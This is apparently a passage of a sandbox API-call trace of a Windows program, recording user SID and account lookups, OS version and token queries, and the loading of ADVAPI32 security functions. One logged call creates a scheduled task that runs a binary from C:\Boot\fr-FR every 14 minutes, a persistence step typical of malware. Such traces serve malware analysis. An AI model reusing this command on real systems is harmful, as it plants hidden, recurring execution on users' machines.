free (_Block=0xef040) [0082.977] malloc (_Size=0x18) returned 0xef040 [0082.978] malloc (_Size=0x18) returned 0xeef20 [0082.978] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0082.978] SysStringLen (param_1="4219442223") returned 0xa [0082.978] memcpy (in: _Dst=0x3382c8, _Src=0x381208, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0082.978] memcpy (in: _Dst=0x3382da, _Src=0x381238, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0082.978] free (_Block=0xef020) [0082.978] free (_Block=0xef040) [0082.978] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0082.978] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0082.978] malloc (_Size=0x18) returned 0xef040 [0082.978] malloc (_Size=0x18) returned 0xef020 [0082.978] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0082.978] SysStringLen (param_1="-") returned 0x1 [0082.978] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0082.978] memcpy (in: _Dst=0x3376be, _Src=0x381208, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0082.978] free (_Block=0xeef20) [0082.978] free (_Block=0xef040) [0082.978] malloc (_Size=0x18) returned 0xef040 [0082.978] malloc (_Size=0x18) returned 0xeef20 [0082.978] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0082.979] SysStringLen (param_1="4223814209") returned 0xa [0082.979] memcpy (in: _Dst=0x34da68, _Src=0x337698, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0082.979] memcpy (in: _Dst=0x34da90, _Src=0x381208, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0082.979] free (_Block=0xef020) [0082.979] free (_Block=0xef040) [0082.979] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0082.979] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0082.979] malloc (_Size=0x18) returned 0xef040 [0082.979] malloc (_Size=0x18) returned 0xef020 [0082.979] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0082.979] SysStringLen (param_1="-") returned 0x1 [0082.979] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0082.979] memcpy (in: _Dst=0x34ddd4, _Src=0x381208, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0082.979] free (_Block=0xeef20) [0082.979] free (_Block=0xef040) [0082.979] malloc (_Size=0x18) returned 0xef040 [0082.979] malloc (_Size=0x18) returned 0xeef20 [0082.979] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0082.979] SysStringLen (param_1="3835049652") returned 0xa [0082.979] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0082.979] memcpy (in: _Dst=0x34daa6, _Src=0x381208, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0082.980] free (_Block=0xef020) [0082.980] free (_Block=0xef040) [0082.980] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0082.980] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0082.980] malloc (_Size=0x18) returned 0xef040 [0082.980] malloc (_Size=0x18) returned 0xef020 [0082.980] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0082.980] SysStringLen (param_1="-") returned 0x1 [0082.980] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0082.980] memcpy (in: _Dst=0x34ddea, _Src=0x381208, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0082.980] free (_Block=0xeef20) [0082.980] free (_Block=0xef040) [0082.980] malloc (_Size=0x18) returned 0xef040 [0082.980] malloc (_Size=0x18) returned 0xeef20 [0082.980] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0082.980] SysStringLen (param_1="1000") returned 0x4 [0082.980] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0082.980] memcpy (in: _Dst=0x34dabc, _Src=0x381208, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0082.980] free (_Block=0xef020) [0082.981] free (_Block=0xef040) [0082.981] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0082.981] malloc (_Size=0x5e) returned 0xf0800 [0082.981] free (_Block=0xeef20) [0082.981] malloc (_Size=0x18) returned 0xeef20 [0082.981] free (_Block=0xf0800) [0082.981] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0082.982] GetLastError () returned 0x7a [0082.982] malloc (_Size=0x14) returned 0xef040 [0082.982] malloc (_Size=0x16) returned 0xef020 [0082.982] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0082.983] malloc (_Size=0x18) returned 0xef0a0 [0082.983] malloc (_Size=0x18) returned 0xeef60 [0082.983] free (_Block=0xef040) [0082.983] free (_Block=0xef020) [0082.983] free (_Block=0xeff60) [0082.983] free (_Block=0xeef60) [0082.983] free (_Block=0xef0a0) [0082.984] free (_Block=0xeef20) [0082.984] free (_Block=0xee200) [0082.985] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.985] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0082.985] GetLastError () returned 0x7a [0082.985] malloc (_Size=0x2c) returned 0xee240 [0082.985] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0082.985] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0082.985] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0082.986] malloc (_Size=0x1c) returned 0xeff60 [0082.986] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0082.986] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0082.986] malloc (_Size=0x18) returned 0xeef20 [0082.986] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0082.986] malloc (_Size=0x18) returned 0xef0a0 [0082.986] malloc (_Size=0x18) returned 0xeef60 [0082.986] SysStringLen (param_1="S-1-") returned 0x4 [0082.986] SysStringLen (param_1="5") returned 0x1 [0082.986] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0082.986] memcpy (in: _Dst=0x381240, _Src=0x381208, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0082.986] free (_Block=0xeef20) [0082.986] free (_Block=0xef0a0) [0082.986] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0082.986] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0082.986] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0082.986] malloc (_Size=0x18) returned 0xef0a0 [0082.986] malloc (_Size=0x18) returned 0xeef20 [0082.986] SysStringLen (param_1="S-1-5") returned 0x5 [0082.986] SysStringLen (param_1="-") returned 0x1 [0082.987] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xc | out: _Dst=0x381208) returned 0x381208 [0082.987] memcpy (in: _Dst=0x381212, _Src=0x381298, _Size=0x4 | out: _Dst=0x381212) returned 0x381212 [0082.987] free (_Block=0xeef60) [0082.987] free (_Block=0xef0a0) [0082.987] malloc (_Size=0x18) returned 0xef0a0 [0082.987] malloc (_Size=0x18) returned 0xeef60 [0082.987] SysStringLen (param_1="S-1-5-") returned 0x6 [0082.987] SysStringLen (param_1="21") returned 0x2 [0082.987] memcpy (in: _Dst=0x381298, _Src=0x381208, _Size=0xe | out: _Dst=0x381298) returned 0x381298 [0082.987] memcpy (in: _Dst=0x3812a4, _Src=0x381238, _Size=0x6 | out: _Dst=0x3812a4) returned 0x3812a4 [0082.987] free (_Block=0xeef20) [0082.987] free (_Block=0xef0a0) [0082.987] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0082.987] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0082.987] malloc (_Size=0x18) returned 0xef0a0 [0082.987] malloc (_Size=0x18) returned 0xeef20 [0082.987] SysStringLen (param_1="S-1-5-21") returned 0x8 [0082.987] SysStringLen (param_1="-") returned 0x1 [0082.987] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0082.988] memcpy (in: _Dst=0x381248, _Src=0x381208, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0082.988] free (_Block=0xeef60) [0082.988] free (_Block=0xef0a0) [0082.988] malloc (_Size=0x18) returned 0xef0a0 [0082.988] malloc (_Size=0x18) returned 0xeef60 [0082.988] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0082.988] SysStringLen (param_1="4219442223") returned 0xa [0082.988] memcpy (in: _Dst=0x3382c8, _Src=0x381238, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0082.988] memcpy (in: _Dst=0x3382da, _Src=0x381298, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0082.988] free (_Block=0xeef20) [0082.988] free (_Block=0xef0a0) [0082.988] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0082.988] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0082.988] malloc (_Size=0x18) returned 0xef0a0 [0082.988] malloc (_Size=0x18) returned 0xeef20 [0082.988] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0082.988] SysStringLen (param_1="-") returned 0x1 [0082.988] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0082.988] memcpy (in: _Dst=0x3376be, _Src=0x381238, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0082.988] free (_Block=0xeef60) [0082.989] free (_Block=0xef0a0) [0082.989] malloc (_Size=0x18) returned 0xef0a0 [0082.989] malloc (_Size=0x18) returned 0xeef60 [0082.989] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0082.989] SysStringLen (param_1="4223814209") returned 0xa [0082.989] memcpy (in: _Dst=0x34dd98, _Src=0x337698, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0082.989] memcpy (in: _Dst=0x34ddc0, _Src=0x381238, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0082.989] free (_Block=0xeef20) [0082.989] free (_Block=0xef0a0) [0082.989] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0082.989] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0082.989] malloc (_Size=0x18) returned 0xef0a0 [0082.989] malloc (_Size=0x18) returned 0xeef20 [0082.989] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0082.989] SysStringLen (param_1="-") returned 0x1 [0082.989] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0082.989] memcpy (in: _Dst=0x34daa4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0082.989] free (_Block=0xeef60) [0082.989] free (_Block=0xef0a0) [0082.989] malloc (_Size=0x18) returned 0xef0a0 [0082.990] malloc (_Size=0x18) returned 0xeef60 [0082.990] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0082.990] SysStringLen (param_1="3835049652") returned 0xa [0082.990] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0082.990] memcpy (in: _Dst=0x34ddd6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0082.990] free (_Block=0xeef20) [0082.990] free (_Block=0xef0a0) [0082.990] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0082.990] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0082.990] malloc (_Size=0x18) returned 0xef0a0 [0082.990] malloc (_Size=0x18) returned 0xeef20 [0082.990] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0082.990] SysStringLen (param_1="-") returned 0x1 [0082.990] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0082.990] memcpy (in: _Dst=0x34daba, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0082.990] free (_Block=0xeef60) [0082.990] free (_Block=0xef0a0) [0082.990] malloc (_Size=0x18) returned 0xef0a0 [0082.990] malloc (_Size=0x18) returned 0xeef60 [0082.991] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0082.991] SysStringLen (param_1="1000") returned 0x4 [0082.991] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0082.991] memcpy (in: _Dst=0x34ddec, _Src=0x381238, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0082.991] free (_Block=0xeef20) [0082.991] free (_Block=0xef0a0) [0082.991] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0082.991] malloc (_Size=0x5e) returned 0xf0800 [0082.991] free (_Block=0xeef60) [0082.991] malloc (_Size=0x18) returned 0xeef60 [0082.992] free (_Block=0xf0800) [0082.992] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0083.029] GetLastError () returned 0x7a [0083.029] malloc (_Size=0x14) returned 0xef0a0 [0083.029] malloc (_Size=0x16) returned 0xeef20 [0083.029] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0083.030] malloc (_Size=0x18) returned 0xef020 [0083.030] malloc (_Size=0x18) returned 0xef040 [0083.030] free (_Block=0xef0a0) [0083.030] free (_Block=0xeef20) [0083.030] free (_Block=0xeff60) [0083.030] free (_Block=0xef040) [0083.031] free (_Block=0xef020) [0083.031] free (_Block=0xeef60) [0083.031] free (_Block=0xee240) [0083.032] malloc (_Size=0x48) returned 0xed2c0 [0083.032] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0083.038] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0083.039] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0083.039] malloc (_Size=0x18) returned 0xeef60 [0083.039] CreateEnvironmentBlock () returned 0x1 [0083.044] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0083.044] malloc (_Size=0x18) returned 0xef020 [0083.044] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 14 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 14 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xd08, dwThreadId=0xd2c)) returned 1 [0083.050] CloseHandle (hObject=0x2f8) returned 1 [0083.050] CloseHandle (hObject=0x2fc) returned 1 [0083.050] free (_Block=0xef020) [0083.050] DestroyEnvironmentBlock () returned 0x1 [0083.050] malloc (_Size=0x48) returned 0xed400 [0083.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5a7905e0, dwHighDateTime=0x1d9eb0c)) [0083.051] SetEvent (hEvent=0x1f0) returned 1 [0083.051] CloseHandle (hObject=0x2d4) returned 1 [0083.051] CloseHandle (hObject=0x2e0) returned 1 [0083.077] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0083.077] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0083.077] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0083.492] SetLastError (dwErrCode=0x0) [0083.492] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0083.492] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0083.492] SetLastError (dwErrCode=0x0) [0083.492] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0083.492] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0083.492] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0083.492] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0083.492] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0083.493] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0083.494] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0083.495] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0083.495] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0083.495] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0083.495] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0083.495] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0083.495] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0083.497] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0083.497] GetCurrentThread () returned 0xfffffffffffffffe [0083.497] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0083.497] malloc (_Size=0xd8) returned 0xf4740 [0083.497] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0083.497] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0083.498] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0083.499] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0083.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0083.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0083.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0083.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0083.500] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0083.500] malloc (_Size=0x18) returned 0xef020 [0083.500] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0083.500] malloc (_Size=0x48) returned 0xed270 [0083.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5abe0dc0, dwHighDateTime=0x1d9eb0c)) [0083.500] SetEvent (hEvent=0x1f0) returned 1 [0083.506] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: 